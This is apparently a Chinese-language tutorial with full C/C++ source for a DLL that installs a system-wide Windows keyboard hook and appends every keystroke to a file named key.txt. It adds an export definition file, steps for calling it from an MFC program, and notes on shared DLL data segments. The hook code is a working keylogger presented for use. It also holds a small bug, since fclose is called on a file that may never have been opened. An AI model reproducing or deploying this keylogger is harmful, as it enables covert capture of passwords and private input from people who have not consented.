1.DLL创建:
#include<windows.h>
#include<iostream.h>
#include<stdio.h>
#pragma data_seg("mydata")
HHOOK glhHook=NULL; //安装的鼠标勾子句柄
HINSTANCE glhInstance=NULL; //DLL实例句柄
#pragma data_seg()
LRESULT CALLBACK KeyboardProc(int nCode,WPARAM wParam,LPARAM lParam)
{
char ch=0;
FILE *fl;
if( ((DWORD)lParam&0x40000000) && (HC_ACTION==nCode) ) //有键按下
{
if( (wParam==VK_SPACE)||(wParam==VK_RETURN)||(wParam>=0x2f ) &&(wParam<=0x100) )
{
fl=fopen("key.txt","a+"); //输出到key.txt文件
if (wParam==VK_RETURN)
{
ch='\n';
}
else
{
BYTE ks[256];
GetKeyboardState(ks);
WORD w;
UINT scan=0;
ToAscii(wParam,scan,ks,&w,0);
//ch=MapVirtualKey(wParam,2); //把虚键代码变为字符
ch =char(w);
}
fwrite(&ch, sizeof(char), 1, fl);
}
fclose(fl);
}
return CallNextHookEx( glhHook, nCode, wParam, lParam );
}
BOOL WINAPI DllMain(
HINSTANCE hinstDLL, // handle to DLL module
DWORD fdwReason, // reason for calling function
LPVOID lpvReserved // reserved
)
{
glhInstance=hinstDLL;//插入保存DLL实例句柄
return 1;
}
BOOL StartHook()
{
BOOL bResult=FALSE;
glhHook=SetWindowsHookEx(WH_KEYBOARD,KeyboardProc,glhInstance,0);
if(glhHook!=NULL)
bResult=TRUE;
return bResult;
}
BOOL StopHook()
{
BOOL bResult=FALSE;
if(glhHook)
{
bResult= UnhookWindowsHookEx(glhHook);
if(bResult)
glhHook=NULL;
}
return bResult;
}
2..DEF文件创建:
LIBRARY
EXPORTS StopHook
EXPORTS StartHook
3.主程序创建(基于MFC dialog类型)
初始:_declspec (dllimport) BOOL StartHook();
_declspec (dllimport) BOOL StopHook();
链接上述生成的 .dll 文件
调用:直接可以调用 .dll 中的函数
4.注意:
一、调用方式要一致,防止出现因调用方式不同而造成主程序中找不到指定函数;
二、除了上述的静态链接 dll ,也可以用 LoadLibrary()等函数动态去链接;
三、用#pragma data_seg建立一个新的数据段并定义共享数据,其具体格式为:
#pragma data_seg ("shareddata")HWND sharedwnd=NULL;//共享数据
#pragma data_seg()
#pragma data_seg()一般用于DLL中。也就是说,在DLL中定义一个共享的,有名字的数据段。最关键的是:这个数据段中的全局变量可以被多个进程共享。否则多个进程之间无法共享DLL中的全局变量。
共享数据必须初始化,否则微软编译器会把没有初始化的数据放到.BSS段中,从而导致多个进程之间的共享行为失败。
也可以直接用DLL原始码指定连结选项,就像我们在STRLIB.C那样(《windows编程》教程动态链接库):
#pragma comment(linker,"/SECTION:shared,RWS")
这种方法只能在没有def文件时使用,如果通过def文件进行导出的话,那么设置就要在def文件内设置而不能
在代码里设置了。